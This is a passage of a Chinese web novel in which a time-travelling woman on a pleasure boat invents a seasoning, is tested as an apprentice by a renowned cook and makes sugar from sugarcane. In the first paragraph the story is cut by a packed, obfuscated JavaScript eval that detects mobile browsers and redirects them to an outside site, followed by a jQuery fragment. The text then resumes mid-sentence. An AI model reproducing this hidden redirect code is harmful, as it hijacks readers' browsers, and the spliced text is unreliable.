拨霞供就是古代兔肉火锅的叫法,褚朝云没吃过,不过这几日听方如梅他们闲聊提了一嘴,好像在蕤洲,拨霞供还非常有名。 兔肉火锅和涮牛涮羊本质上来说近似,而且她这料本身就有仿现代火锅牛油底料的意思。 只不过东西不全,她就狠狠的简化了一下。 可这依然已经足够美味了。 徐香荷的注意力都集中在火锅上面,刁氏却盯着那红火火的调料,而后呐呐一句:“这就是那个你说过的……价高,好卖,还得放不坏的——” 说着,她神情凝住,像是再想该用什么措辞,顿了一下,才又道:“万能调料??” 褚朝云突然绷不住笑出声来,“对,确实算得上是万能调料了。” 不过比起旁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14098653|147138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刁氏更关心卖价,因为这俩丫头还缺好些过冬的物什。 于是这么想着,便也这么问了:“你打算一包卖多少铜板?” 这事褚朝云方才也是有考虑过的,一碗素馅扁食也才五文,蕤洲的物价说不上多高,不过高级点的馆子里,一份好菜也有卖几钱,甚至几两银子的。 何况她这可是万能调料,总不好卖太低,但也不能定的太过离谱。 褚朝云伸手比了个“五”。 刁氏道:“五文?” “不,五十文。” 褚朝云又说:“做大菜才需要整包放进去,若只是为了配个什么汤水,放一汤匙便足够了,用量灵活,也不怕大家伙亏钱。” 三人合计好这些事后,又吃光了蒸鱼和拌虾,褚朝云这才倒出空来试棉衣棉裤。 她的身形的确跟徐香荷相仿,除了比对方高一点,而徐香荷在给她缝棉衣时,也注意了这一点。 褚朝云穿上厚厚地棉衣,又活动几下。 徐香荷的手艺的确提升的很快,这和比着尺寸量的也基本没差了。 - 第二天一早,二人棉衣棉裤穿上身,再从暗仓走出来时,一下子就体会到好处了。 干活不再受冻之后,想做棉鞋、棉被的念头就越发强烈。 褚朝云等了一个白天,春叶和蕙娘也没下来找她,想着刘、柳那两位老板也是才在她这拿过货,确实没那么快再要。 所以一下黑,她就端了壶酒主动上楼去了。 她只给蕙娘送过酒,也就只记得蕙娘在哪间,褚朝云端着酒壶心中不能说不怕,可为了生意她也是拼了。 来到蕙娘门前,她站住之后轻声地咳了两声。 屋子里似是有两位小公子正在吟诗作对,蕙娘认出她的声音,忙走过来推门往外看。 待一看到真是褚朝云后,蕙娘惊了一惊,立刻关门走出来。 “你怎么过来了?” 她躲着来回溜达的婆子,小声的问。 褚朝云飞快跟她讲了几句话,末了又叮嘱她别忘记跟春叶说一声,蕙娘便连连说“好”。 二人尚未分别时,旁的屋门也被小心翼翼地推了个小缝。 灯影之下,一身精致装束的褚惜兰刚跟褚朝云对上视线,溜达一圈的婆子复又往这处来。 蕙娘忙接过褚朝云手中的酒壶,故作高声道一句“辛苦姑娘”,就迅速的关上了门。 褚朝云和过来的婆子走了个对脸,路过褚惜兰时,明显听到对方喉中哽出一声。 婆子狐疑的回了头,开口喊住她:“等会儿,你不是下边的么,怎么上来了?” 褚朝云倒是不慌不忙转了身,看着她笑:“有人叫我上来送酒呀。” 她又玩起了那套叫婆子背锅的套路。 面前这个一听,俨然有些懵。 察觉到这婆子有可能是新来的,褚朝云灵机一动,笑着解释道:“您可能不知道,我见天都在厨房里,钟管事准了我的。” 说罢,她飞快朝褚惜兰投去一眼,就迈步下楼去了。 万能调料的事情告诉了姑娘之后,次日,褚朝云就做了些凉拌鸡丝和葵菜放在厨房里。 又耐心等上一阵,不过这回并没要她等得太久,大生意就上门了。 50-60 第51章 一更 “徒、徒弟?!” 这句惊叹一冒出来,褚朝云顿时就傻愣愣地僵在了原地。 程月这是什么意思?? 这话若在平时说起,以她还算灵光的脑袋瓜自然能反应的过来,可对方根本不按套路出牌,忽的来上这么一下子,直接就把她给砸蒙了。 但程月似乎早就料到她会有此种表情,于是抬了抬手,在她眼前挥上一挥,然后道:“回神,我话还没完呢。” 褚朝云打了个机灵,忙强迫自己集中精力:“噢噢噢,您说您说。” 程娘子温婉一笑,慢慢道来:“你说的那个问题,不急着解决。” 说罢,她低身从一旁的大竹筐里捡出几样东西,分别是山药,鸡蛋,和菘菜,每样拿的不多,尤其菘菜,只从大棵上面剥下来了几片叶子。 “这三样食材我放在单独的小筐中,你可以在它们之上添加其他任何食材,但不可减少,调味料的使用我不限制,后日一早来给我送成品。” 程月说完也不待褚朝云做出回应,就又拿起刀继续摆弄手里的萝卜花。 褚朝云依着她的话先往竹筐里瞧了瞧,然后又看向认真做饭的程月,似乎总算想明白了点什么。 程月该不会是再给她布置作业吧? 但这师还没拜呢,对方忽然提出这么个要求,显然是要考教考教她了。 褚朝云还有自己的活儿要干,自是不能一直杵在这厨房里,于是她先给程月行了个礼,叫对方知晓她已应下此事,然后就快步走出了门。 一出来就碰上厨娘的其中一位助手,那人似乎刚洗过什么菜,正端着盆子准备去倒。 褚朝云目光一转,飞快追上去,给对方搭了一把手。 那助手年纪并不小,看着几乎要比程月还大上一些,所以褚朝云朝助手微微一笑,轻快的喊了声:“姐姐,我来帮你。” 助手跟了程月许多年,一路走南闯北遇上的人也多,眼前这个古灵精怪的小姑娘要做什么,她自然一清二楚。 不过她只是看着褚朝云笑,然后低声说道:“怪不得,我们程娘子很喜欢你。” “啊?是吗?” 褚朝云眨巴眨巴眼。 这她倒是没怎么注意过。 低头又见对方戴着的东西还是那布袋子,便说:“等我忙过这两日,定亲手给您和另一位姐姐做手套。” “那便有劳你了。” 二人一同走到船边,将盆子里的水倒掉。 助手原以为褚朝云会借着机会问些什么,可女子只是朝她一笑,便打算去仓房拿斧子劈柴去了。 褚朝云的确是有些问题想问,可又怕坏了程娘子的规矩,所以最终,她打消念头,就只是单纯的帮了助手一把。 至于那些食材么……她还是自己回去好好琢磨琢磨吧。 见褚朝云净了手要去仓房,助手便在身后喊住了她:“你等等。” “嗯?” 褚朝云迈出的脚步又退回来,看着助手笑道:“可还有什么事,需要我帮忙的?” 助手思想一番,看了眼脚下的一篮子菜:“我昨个干活时伤了手,你能不能帮我把这些菜再洗一遍?” 通常厨娘给他们的食材至少要过三遍水,方才才洗了一次,自然还要再洗两遍。 助手说完,又犹豫道:“你是不是还有其他事要做?会耽搁你吃午饭吧?” 钟管事给船娘们分派的活都是按时按量的,今个上午褚朝云负责劈柴,若是再帮助手做些别的,肯定是要耽误,保不齐还会挨说。 但以前也有手脚慢干不完的,钟管事看到只是偶尔说那么一两句,倒也不会真把人怎么样。 褚朝云心中有数,就痛快的说了句,“没事,我来帮您。” 她戴上手套接过木盆,打了盆清水之后就动作麻利的清洗起来,洗完一遍立刻又冲一次,之后抱着那些洗过的菜甩了几下水,连带着木盆一同交还给了助手。 “那我就先去忙其他的啦。” 褚朝云这么一通忙活,脑子里那些纷乱的思绪也暂时性的被压住,反而叫她觉得更畅快了些。 不过她这次说完话并没急着走,因为瞧出助手的确还有话要讲。 助手看着她似是有些满意,便将她拽到一旁,低声说道:“我们娘子从未收过徒弟,但从前也是有过几个中意的,只是最后全都没成罢了。” 褚朝云没想到助手能跟她讲这种事,就也跟着问了句:“那是为何?” 既然都说了中意,怎么还都没收呢? 助手垂了下眼,似是在回忆,“有些时候,品性是要比厨艺更重要的东西,从前娘子看中的是厨艺,但经过了几次的事,她如今最在意的,还是人的品格。” 程月最早在京都停留过一段时间,第一个中意的,是个大户千金。 当时她刚好被请去给那户人家做家宴,大户人家的家宴比较讲究,忌口也多,所以程月做事也要格外注意些。 然后她就遇上了那个千金。 对方像是怕她记不全要忌口的吃食,便主动来后厨又跟她念叨了一遍。 程月觉得这女子虽是闺阁小姐,却不似别家小姐那般十指不沾阳春水,对于一些洗菜切菜的粗活,也没表露出什么嫌恶,反而任劳任怨,还帮着她一块准备。 不过那千金小姐没装得了几日,就露了馅。 原来她早就看中了程月的厨艺,所以才央求家中父亲请程月来做家宴。 至于那些粗活,都是身边的下人干的。 那位小姐只想博得程月的好感和喜爱,可连对待食材都如此草率敷衍之人,厨娘又怎会愿意收她为徒。 更何况,那还是个钻营之人。 之后,程月就带着助手去了青州。 那一年青州首富过寿,远亲近邻来了不少,首富一家人丁单薄,家中只有二老并一名年轻的公子。 那公子一身白衫,腰悬白玉,手拿着本书念念有词。 首富老爷子虽给程月配备了不少人手,可一忙起来,总难免会出点纰漏。 直到程月进厨房去准备炒菜,才发现缺少了一道最珍贵的食材。 那食材是山中难寻的菇子,本该提早几日就准备上。 这边出了问题,程月自然心急。 便在此时,首富老爷的好友一家前来祝寿,好友家的小儿子与首富家的独子年纪相仿,自小也玩在一块。 好友得知此事,便将自己的小儿子给推了出来,并告知程月他家小子擅长骑射,定会帮忙寻到那菇子。 果不其然,程月饭才做了一半,对方就拎着一筐菇子回来了。 那小公子不但热心帮她找了菇子来,还主动要进厨房帮忙,程月见他眉开眼笑的很是讨喜,就允了他在旁。 之后的宴席总算顺利进行,程月领了赏便打算离去。 不过刚刚帮她忙的小公子,在她离开前跟她说,三日后会登门拜会,俨然是想跟她学厨艺的意思。 程月跟随首富家的仆人从花园一侧出去,便在要出雕花拱门时,听到了几声争吵。 是首富家的独子和要拜她为师的公子。 二人不知为何红了脸,像是吵的还有些凶。 因着里面有自己中意的徒弟,程月便留心听了几句。 那白衣公子虽气质儒雅,朗眉星目,但说起道理来也是义正辞言。 程月听着听着,便发觉,白衣公子正是为了那小公子要拜她为师这件事而来。 原来那最重要的菇子根本就是小公子偷去的,至于偷走的目的,自然是为了接近她。 程月能成为大祁少有的厉害厨娘,自然会有些绝技在身。 那小公子家中是开酒楼的,接近她,也不过是想要那些菜谱而已。 得知真相,程月顿时露出愠色,但也知这种家世的人她怕是惹不起,惹不起也能躲得起,于是她带着助手连夜收拾了包袱,雇了辆马车就离开了青州。 最后又辗转去了一些地方,才被蕤洲这伙人给请到了这里。 助手喟叹,挑了两件比较重要的事说了说,然后才看着褚朝云道:“我家娘子观察你多时,也更相信日久见人心这个道理,可她于厨艺之事却很是严谨,也望褚姑娘能好好的利用那些食材。” 言外之意便是—— 如果交出来的作业对方不满意,那就洗洗睡吧别想了。 褚朝云闻言,郑重道:“放心,我会好好准备的,也多谢姐姐能把这些告知于我。” 助手轻轻摆了摆手,并不隐瞒:“我也只是私心罢了。” 褚朝云能不能当程月的徒弟她不那么在意,但他们跟了程月多年,不愿自家娘子一次又一次的失望才是真的。 所以方才她才故意说自己伤了手,想要考验褚朝云一番。 不过既然提到了那几名曾经中意过的徒弟,褚朝云也不得不感叹一句:“真论起来,那小公子倒是个心眼好的,不偏帮,是黑白分明之人,将来应该会有大作为的吧~” 助手疑惑:“你说哪个小公子?” “青州首富家那位呀。” 褚朝云只记得助手说那人爱穿白衣,连腰间的配饰也是白玉。 可说起此事,助手却叹的更长:“没了,全都没了。” 褚朝云本还在脑补那公子的长相,主要她这个现代人极少见到书本中讲的那些“如清风明月般的皎皎君子”,反正到船上来的那些公子,她看着没有书本上的感觉,所以才不由得多想了些。 可乍一听到助手如此说,她便轻微的怔了下,“没了?” 没了是什么意思?? 第52章 三更 没了到底是什么意思,助手并没有再提。 褚朝云打过招呼便进了仓房去拿斧子,方才还有些想要脑补那公子相貌的兴致,也随着要忙碌的事一并淡忘掉了。 晚间回到暗仓,有几扇门正开着,褚朝云知道方如梅今个找她之前,肯定提前跟其他船娘们说过此事了。 或许,这提议也未必就是方如梅想到的,有别的船娘做提醒也说不定。 不过眼下,她还没空去琢磨这些事。 虽说程月给了她两个晚上的准备时间,可白日里她没办法进厨房去试做,所以真算起来,这时间也挺紧迫的。 褚朝云路过那几扇开着的房门,却并未多停留,而是一转眼,就进了刁氏那去。 门关上之后,几名船娘也悄悄然的走了出来。 借着透进来的一缕月色,有船娘满面忧心的看向了方如梅:“如梅,朝云她是不是……” 褚朝云连招呼都没跟他们打,想必是不愿应下这件事了。 那人说完,面露哀思。 几人围聚在一块,另一人也压着声说:“其实我也理解,我理解的,同样都是被困在这条船上的人,各自都有各自的艰难,我们又凭什么要求人家帮忙呢。” 她说完,年纪小一些的口吻似是带了点哀求:“可我真不想一直待在这里啊……朝云姐姐她一定有办法的。” “你这话说的,哪个又愿意待在这儿?” “那怎么办?若是朝云姐姐真不答应,我们是不是还要再想别的办法?” “想啊……可我们又有什么办法。” 众人似是越说越激动,有几名年纪浅的,差点就哭了出来。 大家伙满面愁容的聚在走道暗光里,走道昏暗,连带他们站的地方也是如此,就仿若那船板四周生出的青苔,日复一日,却永远也见不到天日。 忽的,一声像是主心骨的发言打断了他们。 方如梅冷静下来,低声说道:“都别急了,无论这事最后朝云答应与否,咱们大家伙都要团结起来,我们……总有办法的。” 若是早几个月前,这话打死方如梅她也说不出来。 她只会带头去拍刁氏的门板,然后将褚朝云喊出来,劈头质问对方“为什么不愿意帮他们”“怎么会有这么自私的人”。 可现在的她不会了。 因为最初和褚朝云作对的就是她,可在她快要被打死的那一刻,救她的也是褚朝云。 尽管帮她处理伤口的是刁氏跟徐香荷,但方如梅的眼睛不瞎,若非那两个人背后站着褚朝云,他们断不敢,或许也根本不想管自己这条烂命。 她一个四十多岁的妇人,却从个小姑娘的身上学到了道理。 不认命。 对。 打从褚朝云出现在这条花船的第一天起,对方便从未认过命。 方如梅说完,其余人便七嘴八舌的跟她保证起来,因为他们也听得出方婶子那句话里除了安抚,还有另外一个意思。 那就是——别因为褚朝云拒绝他们,就去搞孤立那一套。 几人说完了话,就各自回了房间去。 与此同时,正站在门后听动静的褚朝云,也走回床榻边坐了下来。 其实她最开始并未想去搞什么偷听,只是回来的时候心里有点乱,所以一个心不在焉,就忘记跟他们打招呼了。 进门之后,待回过神来,她便想推门再补上一句来着。 结果手刚按到门把处,就听到外面几声窃窃私语。 刚好,也正是因为有过方如梅那个先例,她也想听听,对于自己刚刚的行为,大家伙都是个什么想法。 虽说她也来了船上一段日子,和大家都算熟识,但也仅仅是熟识而已。 人心隔着的不只是肚皮,还有更多。 就算她最后真愿意答应,也得先摸摸底,至少得知道自己带着的,都是些什么人才行吧? 这一点,还是她今个从程月那里学到的。 她这算是现学现用吗? 褚朝云自我娱乐的想着,坐下来时还有点高兴,因为船娘们没让她失望,就连方如梅也有了改变。 有这个拼劲和韧性,想要从这里逃出生天,也不见得就是痴人说梦。 褚朝云一脸的乐呵样,跟刚进来时的表情天壤之别。 徐香荷手里正攥着一团子棉布,看到她这一会儿严肃一会儿咧嘴笑的,顿时挪过来探她的额头。 “嘶——凉!” 褚朝云被徐香荷的冰爪子冰的一躲,徐香荷就“咯咯”笑道:“我是看看你发癔症没?傻乐什么呢?” 褚朝云一时半会儿跟她解释不清,所以也懒得提。 只是抬着头往徐香荷那瞄一眼,然后笑道:“那你呢?手都要冻僵了,也不说拿汤婆子捂捂,瞎忙活什么呢?” 徐香荷放下棉布,手在被子里划拉着找汤婆子,汤婆子里的水已经不太热乎了,不过还有点温气儿。 便也不管三七二十一,往腿上一搁,就那么抱着说:“做长筒袜呀,婶子这两天一拿针线眼睛就红的吓人,所以她那双,还是我来做吧。” 刁氏正杵在窗口下挑油灯,闻声似是才想起什么,跟着便揉了揉眼。 褚朝云顺着灯火的光亮瞧过去,果真是红的吓人。 “哟,甘菊茶没在喝吗?怎么红成这样??” 刁氏不愿他们为自己费神,忙应道:“是我忘了,等会儿就冲来喝。” 这边话音才落,徐香荷“扑腾”就坐直了,一副要揭穿刁氏的样子,“你别听婶子骗人了,她日日都喝着呢,只不过最初那茶还有点用,但这两天好像用处不大了。” “还是要多休息,不能总眯缝着个眼看东西。” 褚朝云回道。 甘菊终归不如药铺子配好的中药材管事,可这船上用眼睛的活儿可不少,哪怕不做私活,难道管事们分派的事也不做么? 终归是没办法躲开的。 可既然躲不开—— 褚朝云心中升腾起一个想法来,但这事还得再找人打听打听才行。 她暂且将这件事放下,又静静地坐了会儿,待到花船歇业之后,便去到厨房研究那些食材。 褚朝云盯着小竹筐里的三样,心说,这几样东西能炒、能煮、能煲汤,就是研究着包馅儿好像也不是不可以。 但这些,是不是都太没新意了? 想想自己和程月接触过的那几回,到底是自身的哪一点,被对方看中了呢? 褚朝云数着一件件的事,从料包到鸡排,再到手套…… 她觉得,程月大概是对她的创新能力感兴趣。 尽管那些都不是她的创新,而是从现世中学来的。 褚朝云坐在厨房的小杌子上,和那一竹筐食材大眼瞪小眼,发怔了好半晌,最后只端了三碗油茶回去充当晚饭。 她还是没太想好要做什么。 …… 过了一晚,褚惜兰在隔日下午过来给她送水果,此刻赶着外间无人,二人便躲在厨房里说了一小会儿话。 褚惜兰是下来催那八十副手套的。 女子穿着一身浅蓝衣裙,和褚朝云依偎在一块,声音轻盈道:“三妹妹,我最近已经学的差不多了,至少简单的缝补,我没问题了。” 说罢,便又笑着道:“春叶——” “打住。” 褚朝云按揉一下发痛的太阳穴,立刻叫停她:“这个话题,等过了明日再说。” “那也是还能等的。” 褚惜兰捂着嘴笑了下。 见褚朝云正暴力按压自己的额头,便不赞同的抓住她的手放到身侧,别好帕子,自己帮她按了起来。 褚惜兰性子有时虽懦弱了些,可好在温柔又有责任心。 她动作轻缓,比褚朝云那样瞎弄有效果多了。 见对方慢慢的展开眉头,然后才道:“我前日被安排去接待两位富户老爷,那二人在期间喝多了酒,醉话我听了一知半解,却听到了些……” 她表情忽的凝重起来。 松开按压褚朝云额头的手,走去门外探了一眼。 褚家大姐儿很少出现这种小心谨慎地表情,这倒让褚朝云也难免跟着紧张。 “所以,你听到什么了?” 褚朝云低声问。 其实这个话题并不适合在这种场合说,就连时间也是不对,可褚惜兰显然是个没什么主意的,又觉得此事关乎重大,这才想问问自家三妹。 褚惜兰短暂的沉默了下,而后以手遮挡,凑到女子耳旁,低低的讲了两个字。 褚朝云听过,眼眸顿时瞪大了。 可再想问仔细些时,便听到一旁的木梯处,似是多了道重重的脚步声。 如今她常常要跟褚惜兰几人在厨房见面,所以对于脚步声的分辨,也有了一套自己的心得。 这声音拖拖拉拉又沉重,不是那些懒怠的婆子,就是喝多的食客。 褚朝云只得咽下想问的话,拍拍褚惜兰的肩叫她先走。 待人走后,她则又往那小竹筐里瞧上一眼,还好菘菜不容易坏,否则,岂不是白白浪费了食材。 不过她显然还没什么头绪,便也只能先出去干活。 褚惜兰出去之后,未免碰上下来的婆子,直接就进了茅房里。 那婆子其实不只是下来拿吃食的,也是想用茅房,但见里面有姑娘,便有点烦躁的往船尾去。 她不爱去船尾的,因为船尾的通常都是船工再用。 路过厨房门前,婆子看到从里面出来的褚朝云,忽的眼睛一翻,指挥着她说:“你去把炉灶里温着的汤端上去,再烫一壶酒,冬日里客人不爱喝冷的。” 褚朝云知晓这是婆子又躲懒,于是默默点头,故作顺从的回去拿汤。 那婆子得意地笑了笑,然后又说:“送春叶那间去,你知道她在哪屋吧?” “知道。” “嗯——” 婆子拖长声调,一张脸眉毛画的又细又尖,看着跟李婆子倒是很神似。 褚朝云见还得温酒,便没忙着把汤取出来,只是掀了帘子顺手舀一瓢热水,然后把酒壶放在里面,用水的热流慢慢温着酒壶。 等了一会儿,瓶身都变得暖了之后,褚朝云这才端了汤水和热酒,脚步加快的去了楼上。 到了春叶那间房的门旁,她依着每次的习惯先低咳了声。 因为船工穿的都是粗麻衣,布巾包着头发,一副素面朝天未施粉黛的模样,所以通常是不会直接进屋去见客人的。 不过她今儿这一咳,里面似乎稍稍停顿了下。 然后,她就听到门内传来了脚步声,这脚步声显出点急,与一向稳重的春叶判若两人。 她正纳闷,门就被打开了。 春叶一脸喜出望外的看着她,笑着说道:“朝云,你来了?!” “……嗯。” 褚朝云昨个还见过春叶,或者说,她们几个经常都能见到面。 但春叶为何突然如此激动? 褚朝云下意识应过之后,似是有些明了:“难不成,里面的是?” 大概,此时春叶房中坐着的客人,不是刘新才就是柳文匡了。 反正不会是张满春,因为张满春要坐镇万春楼,根本没空来花船吃喝。 这合作伙伴固定的就两位,而且还都是只闻其名,未见其人的。 褚朝云的话很快得到印证,因为春叶已经伸手过来拉她,叫她跟着自己进门去了。 花船的规矩虽说条条框框不少,可今个不同,是那婆子偷懒才喊她送酒菜,所以褚朝云进房间去,也没谁会说什么。 婆子还怕被钟管事知道要遭受惩罚,哪怕看到褚朝云进门,也得帮着瞒下。 褚朝云极少进到有人在的雅间来,通常她来清扫的时候,都是非营业期。 诸如今天这般跟着春叶进来,还是头一回。 因着花船空间有限,所以雅间内的面积也并不太大,靠着一处屏风做遮挡,屏风后是吃饭的方桌,外间则备上了书案,以及乐器、投壶等娱乐用具。 不过刘新才对这些一窍不通,只是坐在屏风后喝喝茶。 刘老板也没想到过来送个东西的功夫,就碰上了传闻中的褚姑娘。 春叶将褚朝云拉进去后,就喜笑颜开的喊道:“刘老板,今儿可真是巧了!您总说寻得合适的机会想见见我们姑娘,您看,她这不就来了么!” 春叶一脸的笑模样,褚朝云倒难得有点不好意思了。 主要还是太突然了。 原以为自己最先见到的会是那热心肠的宋小哥,没成想,竟是刘老板。 不过褚朝云的拘谨并没露在面上,若真算起来,刘新才看着倒像是比她还要紧绷些。 春叶话毕,里面就传出一声撞到桌角的响动。 想来刘老板是真紧张了。 春叶“噗嗤”一乐,索性将褚朝云拉到屏风后,并且边走,还边打趣说:“朝云,刘老板这是害羞了呢。” 刘新才听后,哭笑不得道:“小姑娘家家的胡说八道,我一个老头子,害什么羞。” 刘老板说着便抬头看来人,然后表情就滞住了。 楼下的船娘们常年劳作,日子艰辛,偶有遇上时,大多也都是含胸驼背,佝偻着身子,一脸历经沧桑的憔悴状。 可褚朝云看着,却并非是他想的那般。 反而还觉得这女子个头,是少有的高挑。 褚朝云站姿笔直,身材纤瘦,虽说也是普通船娘那副穿着打扮,但一双眼水光盈盈,巴掌大的小脸看着便是只有十四五岁的稚嫩模样。 这女子虽说不算多美,可那双眼却是少有的惹人注目,眼型还有些长,一笑便如天上月般明睿。 刘新才一下子便看傻了。 主要还是震惊。 他原以为褚朝云即便没像刁氏那般年纪,但看着至少也该如春叶和蕙娘这般,面貌会偏成熟一些的女子。 可这、这——根本就是个娇俏姑娘的样子嘛。 眼底不带精明算计,神情也没有生意人统一的圆滑特性,半点都不像个坐在背后执掌大权的掌事者。 不过,褚朝云倒不知刘新才此刻内心的震撼。 她只是大大方方走过去,对着刘老板福上一礼,爽朗道:“多谢刘老板多日来的照拂,朝云谢过。” 褚朝云言行得体,说话声音也透着淡淡的平和。 刘新才忙虚扶一把,不好意思道:“姑娘太客气了,咱们是生意伙伴嘛,伙伴哪有谢来谢去的,我还要多亏你那些好点子呢!” 褚朝云笑道:“往常只听婶子道您人好,今个一见,朝云倒觉得您比婶子说的还要好呢。” 她是真心实意的夸赞。 可刘新才被夸的到真有点害羞。 刘老板有些不知所措,便只能往其他方面去找话题。 乍一看到方桌上搁着的一布包东西,这才想起今日过来的目的。 于是,他把布包一层层打开,露出里面的吃食来,“既然见到了正主,那刚好把这些吃食亲自交于你了。” 刘新才怕褚朝云不认得布包里的东西,学着周娘子介绍的,耐心给她解释起来,“这东西叫甜芦苇,是老弟……啊,就是宋谨,他托我把这个带来交给你的,还有这甜芦苇的吃法……” 刘新才絮絮叨叨一大堆,褚朝云便目光奇异地看向那几根粗壮的吃食。 女子自顾走到方桌边,将其中一根吃食拿起,找了小刀熟练的削去外皮,然后切下几小块放进盘中。 春叶没见过这稀罕物,见褚朝云把盘子递过来,就欣喜的拿起一块放进口中咀嚼。 这吃食嚼在口中,起初甘甜,直到汁水全部被挤压出来后,就变得有些扎人,口感也不如最初那般好了。 褚朝云怕春叶咽下去,忙说:“甜味儿没了就吐掉。” “啊?” 春叶盲目地点着头,用手挡了一下嘴巴,将那碎渣渣吐到了手心里。 她如此指导春叶,倒是看的一旁刘新才困惑起来,刘老板怔愣了好半会儿,才讶道:“原来,褚姑娘你见过这东西啊?” 不只见过,还知道要如何吃呢。 褚朝云弯起唇来笑,又将盘子递给他,示意他也吃一块。 刘新才就迫不及待的拿起一块,放在口中品尝味道。 和春叶的表现一样,那股甜水出来的时候,刘老板的眼珠子都瞪起来了,直到嚼而无味之后,他才也找了地方吐掉那渣渣。 褚朝云将盘子放在方桌,自己也拿起一块来吃,盘子里还剩下几块,她便留给春叶和刘新才二人。 尝过味道,褚朝云心满意足的呼了口气。 她听说古代是没有甘蔗的,原来大祁却有这玩意吗? 大祁到底是个什么神奇宝藏地啊! 既然能吃到甘蔗,那还要甜菜干什么。 褚朝云收下那几根甘蔗,但婆子们都在外面,她现在肯定是没办法带下去,所以就还是老办法,让春叶把东西藏在屋子里,等到歇业她再来取。 想到这好玩意是宋谨送来的,褚朝云还有几分可惜。 如今这刘老板都见到了,宋小哥倒是影子都没瞧见一个。 她先是让刘新才帮忙带一句感谢,然后才兴致勃勃的问:“敢问刘老板,蕤洲哪里还有卖这甘蔗的?价格比甜菜如何?您可知晓?” 这一连三问,问题虽多,可刘新才关注的重点只在“甘蔗”两个字上。 于是他“呃”出一声,脱口道:“什么东西?甘蔗?!” 褚朝云也是一时间没注意,见自己说岔了,忙改口:“不是,您听错了,我说的是甜芦苇。” 好像是叫这个名字吧? 她心虚的想。 刘新才也没在意自己是不是真的听错,思索之后道:“这我还真不知晓,褚姑娘可是需要这东西?要很多吗?” 褚朝云点点头,又犹豫道:“但还是需要看一下价格,若是跟甜菜差不太多的话……” 其实她想想,是觉得希望有些渺茫的。 因为据她所知,古代应该是没有甘蔗,这种东西大概是通过“进口”的方式,才会流通过来。 不过也不确定。 最后,刘新才答应会留心给她问问,二人的话也就说完了。 褚朝云不便待得太久,就端着空托盘下了楼。 也不知是不是这些甘蔗激发了她的思维,对于程月留给她的那些食材,褚朝云这会儿突然来了灵感,并且已经有了初步的念头。 就是做起来,可能要费事一些。 这日晚,她连竹筐都没顾得上去换,就急吼吼地进了厨房。 四根甘蔗如今还剩三根半,但若说是做一道菜出来,应该也是够用的吧? 由于缺少这方面的经验,所以她也只能是做着看。 毕竟明天就要交“作业”了,她此刻的状态特别像假期玩的太嗨,挑灯夜战疯狂赶作业的学生们。 褚朝云将那些甘蔗一次削了皮,然后就放到了案板上。 其实甘蔗皮难削的很。 而她之所以动作如此熟练,是因为曾经在现世时,她可是个吃甘蔗的老手。 有时还会自制一杯甘蔗汁带去工位上喝,同事们见她整天坐在工位上啃甘蔗、喝甘蔗汁,还亲切的给她取了个“甘蔗精”的外号。 所以今个一得到这东西,她人就兴奋。 这宋小哥厉害啦,送东西简直送到了心里去~ 褚朝云把案板上削好的甘蔗切块,放到杵臼去捣汁时,自己还没忍住偷吃了两块。 真好吃~ 可惜不能全啃了。 不过这里没有破壁机,纯手工出汁可真是个力气活,不只需要力气大,而且相当的折磨人。 她捣了好一会儿,也才看到那么一丁点的汁水。 褚朝云站在罐子前往里瞥,然后舀了瓢清水进去,也不知是个什么原理,总是在倒入清水之后,似乎变得比从前好捣了一些。 她夯吃夯吃的捣过一批,然后立刻把汁水过滤出来,将没用的碎渣丢掉,接着继续如法炮制。 不过之后再加入的就不是清水了,而是第一次留下的甘蔗汁。 最终,褚朝云总算把甘蔗汁一滴不浪费的都取到后,就将一小坛汁水全部倒入锅子里。 灶膛里添了不少的柴,因为熬汁必须要大火。 这一步看起来和用甜菜熬糖差不多少。 褚朝云拿着锅铲不停地翻搅,一方面是害怕越熬越浓的糖汁会黏在锅底,另一方面,也不知是柴添的太多还是怎样,锅子里的糖汁总往外溢。 褚朝云手忙脚乱,被弄得一头大汗,直到糖汁的颜色由浅慢慢的变深之后,这种情况似乎才好了不少。 这一锅糖熬得实在不易,但味道闻着确实比甜菜更香甜些。 不过这一次在熬成接近糖稀状时,她却并没有停手,而是继续在锅子里翻搅。 因为她暂时还有糖稀可用,但这甘蔗汁是给那道菜做准备的,所以得到出砂的程度才行。 最终,靠干了的锅子里形成了一坨红棕色。 褚朝云取出放到盘子里冷却,重新洗涮了锅子,又添上水,就开始煮鸡蛋,蒸山药。 等待的期间自己也并未闲着,而是把那几片菘菜叶子用水洗过,沥干了水分后,全部切成了小米粒似的琐碎状。 这菘菜品质不错,尤其是接近根部的白色部分水分充足,一边切,她一边都能感受到那股蔬菜的清香味儿。 切好的碎粒搅拌在一起,白白绿绿的葱翠晶莹,用来做点缀刚刚好。 …… 一早,褚朝云才刚从洗漱房出来,就看到程月带着两名助手上了船。 程娘子似乎今个来的格外早些,至少往日过来时,船娘们基本都已经干完了一轮活计。 程月依旧带着白色的帷帽,一身素色衣裙显得走起路来很是轻盈。 褚朝云低头拧布巾时,身旁几名船娘还在小声谈论。 “这厨娘穿的仙气飘飘的,跟个天上的仙子差不多少,咋看都不像个做饭的嘞!” “哎,可不要以貌取人,她虽说看着是不食人间烟火的样子,但厨艺上的精湛,可是连大酒楼里的大师傅都比不了的。” “看你说的跟真的一样,你见过?” “我咋没见过?” 那船娘似是不太高兴,直起腰,声音也大了点:“八年前的那场厨艺大赛,程月可是魁首,就连京都酒楼的大师傅,也只能屈居第二好么。” 不过这话说完,船娘顿时神情低落下来。 “八年前的京都盛况……唉,那时我还没上船呢。” 酸楚的话题无声无息地结束了,不过身边听了一耳朵的褚朝云倒是难免被震惊到了。 原来程娘子竟那么厉害么? 京都盛况…… 看来那场比赛,也是在京都举办的了。 京都是大祁的都城,大祁皇帝并一些皇族全部住在都城里面,那是个离蕤洲非常遥远,也叫人高不可攀的地方。 但那些事并不在褚朝云一个小船娘的关注范畴内,她只是因着这一番对话,便更有想做程月徒弟的念头了。 